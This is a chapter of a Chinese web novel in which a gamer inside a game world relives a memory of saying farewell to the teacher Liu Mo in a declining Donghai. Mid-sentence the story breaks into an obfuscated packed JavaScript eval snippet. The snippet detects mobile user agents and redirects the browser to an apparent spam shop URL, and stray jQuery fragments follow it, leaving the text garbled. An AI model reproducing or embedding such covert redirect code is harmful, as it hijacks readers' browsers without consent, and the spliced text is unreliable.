28. 凶境·遗瑟(二)
作品:《职业选手穿进游戏世界后》 场景变换,苏是一再度踩在东海的青石板路上。
这里应当是城里的一条街道,有行人来来往往,小贩抑扬顿挫地吆喝。
只是相较之前,东海变得荒凉许多,灵气更为稀薄,人烟也淡去不少。
“——就是一片书签,我们答应了收件人要寄给他的,这也不能送么。”一个熟悉的声音从苏是一身后传来。
是柳默带着宁宓妍和几个小孩子,正和一个信差模样的人说话。
那信差无奈:“柳师啊,不是我们为难您,只是如今东海的情况您也知道,上头风声紧,说不让大家出海就不让出。”
“蓬莱不也属东海么。”
“下凡毕竟要过落仙崖,在道宫发的布告里也被划定为界外,”信差长叹一口气,“我们替义塾送这几封信已是极限,更大件的货物,难免被人间瑟查到,官署降罪下来,行路阁可不会保我们的。”
看来,清音道宫此时封禁了东海,不允许里面的人进出。
柳默也不强求,把书签收了回来,一旁的宁宓妍也委屈地抱紧了怀里的手琴。
小姑娘相较上次见面变化不大,两份记忆之间应该只隔了一年左右。
信差注意到她的动作,好笑地摇头:“小丫头,你还想送木琴,这种精细得不得了的东西,就是平时进那仙落崖,若不放个百八十灵石护体,也得被罡气压成齑粉。”
“不送不送,”宁宓妍委屈地说,“柳师,我们就送信就够了,只要一丁点一丁点的灵石。”
柳默哄着几个孩子,带上不少未能寄出的东西,往义塾的方向走。
自然,迎面便碰上了苏是一,孩子们还在为刚才的事难过,有气无力地喊阿真客卿安好。
柳默问:“阿真,你怎么过来了,是机偶那边有新进展了么。”
“算是勉强修好了……但我出来寻你,是有别的事得说。”记忆里的阿真开口。
“可是哪里又出了什么变故?”
“我们得离开东海了。”
这实在出乎柳默的意料,纵然最近的坏消息只多不少,她也手足无措地说:“这,这是为何?”
“回义塾我们再同你解释罢。”
街上人来人往,又有小孩子在旁边,这个原因并不方便为外人道。
柳默点头,一路和苏是一心不在焉地聊着天。
这路越走,苏是一越觉得此地荒凉,曾经四处可见的仙光吉乐都归于沉寂,雕花楼阁上琳琅满目的符咒纹路也都被撤得一干二净,这片天上仙府,如今倒连凡界新修的古镇景点都不如了。
一行人路过一座新起的庙堂,那堂前高悬一匾,上书“东海君庙”,和周围那些老态尽显的建筑还有些格格不入。
宁宓妍指着它:“柳师柳师,昨天我们出去摘散散草,路过这里,有个姐姐说我们唱歌好听,问我们要不要进去陪东海君娘娘说话,可以给我们灵石。”
“我们也可以工作的。”旁边的孩子应和道。
“你们是聪明孩子,不会信那些,”柳默强压着怒气,“你们还不能工作。”
“可是我们不是快没有灵石了吗。”宁宓妍叫道,“我们都知道了,符蓝、阿晃,好多好多人都知道了,您和院监吵了一架,你在哭,院监也在哭。”
“这不是你们应该操心的事情!”柳默难得用这样的口气说话,“现在外面太乱,你们以后不许自己出来,明白吗。”
看出来柳默生气,两个孩子也不敢再叫闹了,她们就这样安静地快速往前走。
东君庙虽然是新物事,在形貌上却逊于以前的老建筑,如今的东海已经没有多余的灵石去装点工事了。
它往日的辉煌已不可支撑,世人不知为何这片土地就灵气枯竭,落到这般境地,只能抓住一切可能的挽救之法。
因此,对东君怨的人祀似乎又死灰复燃般地在这片土地上悄然蔓延,这一次,官署彻底睁一只眼闭一只眼。
柳默能做的只有管束好义塾里这群招人惦记的孩子们,拉着他们快步往前走开。
回到义塾时月星已经升起,第四位歌者苍老的声音随着月光一同遍撒大地,给疲惫仓皇人们带来难得的一份心安。
孩童们正值晚课,他们弹着各色的乐器,在深院里练歌,回回不是这个走调,就是那个错音,每练一首,就你来我往地咯咯地笑闹起来。
小孩子的烦恼来得快去得也快,宁宓妍兴奋地跑进孩子堆里,边跑边拨手琴,大声唱道:
是什么声音呀~是哒哒的马蹄
是谁骑着马过来呀~是我思念的人儿
是谁让我思念呀~是美丽的小宓妍
孩子们哄笑起来,叫道:“柳师回来啦。”“什么小宓妍,没有人想你。”
柳默敲了敲孩子们的脑袋:“今早才教的歌,人家现在就唱得这么好,不跟小宓妍学学。”
大家起哄得太厉害,宁宓妍也不好意思起来,把木琴塞给柳默,躲到几个大孩子身后去了。
“没有什么害羞的,”柳默说,“这是一首很快乐的歌,以后你们长大了也会分开,会有自己的未来,不论游子归乡,还是一场小小的重逢,有人和你们一起唱这首歌,都是一件很幸福的事情。”
她说这话是笑着的,苏是一看着她们,不知道是记忆里的阿真还是她自己,也扯开嘴角笑起来。
夜色渐深,孩子们都歇下,也到了苏是一同柳默作别的时候。
那个李客卿已经候在了柳默的院子里,正神色凝重地对着桌案上的卷轴思索。
苏是一很不习惯连点器队友的脸顶着这样的表情,但依旧无法唤醒他。
柳默拿起李客卿身前的文书:“封境……包含外客在内,无必要不得出关——道宫这是要做什么,连你们也不能自由出入了么?”
“人间瑟的炼制已至最后关头,许是因此道宫才这般谨慎,”苏是一不自主地念着台词,“但如今东海灵气因为供养各处的瑟弦,已经枯竭至极限,封境只会雪上加霜。”
“所以我们打算去清音道宫陈情、去其它道宫求援,人间瑟又不是只为东海而炼,借用也好,调度也好,这里需要天下其余各地的灵石援助,不然这片地域迟早会崩溃的。”
“但这也,这也太突然了。”柳默喃喃地念。
“我们东海此行的要寻的东西也已寻到,没什么遗憾。”李客卿摇头。
苏是一感受到他提到的“东西”就藏在自己的袖子里,似是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122072|193845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一块碑文的残片,只有掐头去尾的一句话:
【……仙法非罪,罪在人心……】
记忆空间里的阿真说:“我们必须得走了,限制令明天生效,那时候我们再想离境就麻烦了。”
“嗯……只是,我还没有做好告别的准备,”柳默惨淡地笑笑,“我学了二十多年的诗,现在居然一句都念不出来。”
“没关系,我明白你的心意。我们还会再见的,柳默,”苏是一说,“另外,你们也要保护好自己,必要的时候还是离开这里好些,我俩都觉得人间瑟没有那么简单。”
“我送你们出去吧。”柳默摇头。
她倏地站起身来,把手琴放下,从架子上取下她出行用的包裹,同两人道:
“但我永远也不会离开这里,炼制人间瑟是音帝陛下的旨意,没有陛下的恩惠就没有如今的东海。即便清音道宫现下实在有负陛下厚望,我也始终遵从陛下的决定。”
苏是一看着被留在屋内的手琴,心底知道这份记忆也快结束了。
上次在乐谱里她抓住了手琴来到这里,这次她能抓住什么。
然而记忆空间把她限制在这个阿真客卿的身体里,想和连点器队友交流都不行——甚至因为那个李客卿的一举一动也很自然,她都不能确定连点器队友是否还有自己的意识。
或许切换到下一个记忆空间的那一瞬间是个机会,苏是一感觉袖子里的碑文残片在发烫,它会是接下来的记忆吗。
而且自己一直穿梭在这些空间里也不是个事,总要找到出去的办法,彻底击败海山君。
——你这么想离开吗?
忽然有个声音出现在她大脑里,不知性别,不知年龄,就是这样一句话。
——这是你和柳默最后一次见面了。
——留在这里不好么,至少这里的一切故事都不像后来那样残忍。
因为离手琴越来越远,苏是一感觉到自己的意识也有一点模糊,在心底问:“你是谁,你什么意思。”
她S1可是剧情一字不看,从来没有人敢拿“留下来看故事”的理由来劝她打游戏。
毕竟她真的看一段睡一段,自此再也没有过失眠问题。
——你和从前的每一次都一样,把自己的记忆删去,把这些感情封存,一旦触碰就会消减意识,你真残忍,真啊……
那个声音惆怅地叹惋,一道风儿一样消去了。
苏是一的注意力回到记忆空间里,柳默送她和那个李客卿到了义塾门口,倚在石狮子旁的柳树下,停了脚步。
城里有宵禁,柳默只能送两人到这里,按照东海的习俗,折了一支柳。
“我该给你们赠诗的,但是一路走来,我只想再多看看你们,再多和你们说说话,没有半点心思能推词敲句。”柳默自嘲道,或许她心里也有预感,自己此后要护着这一院稚子,不知是否能有善终。
她把柳枝递给苏是一:“你们出城后,把它插在我们常踏青的那个亭子旁……‘柳’音同‘留’,这里有人留你们呀,这里有人在等你们回来呀。”
于是这里的记忆凝固,随后从那纤弱的枝条上,轻飘飘地开出千丝万絮。
默柳不语,已是千思万叙。

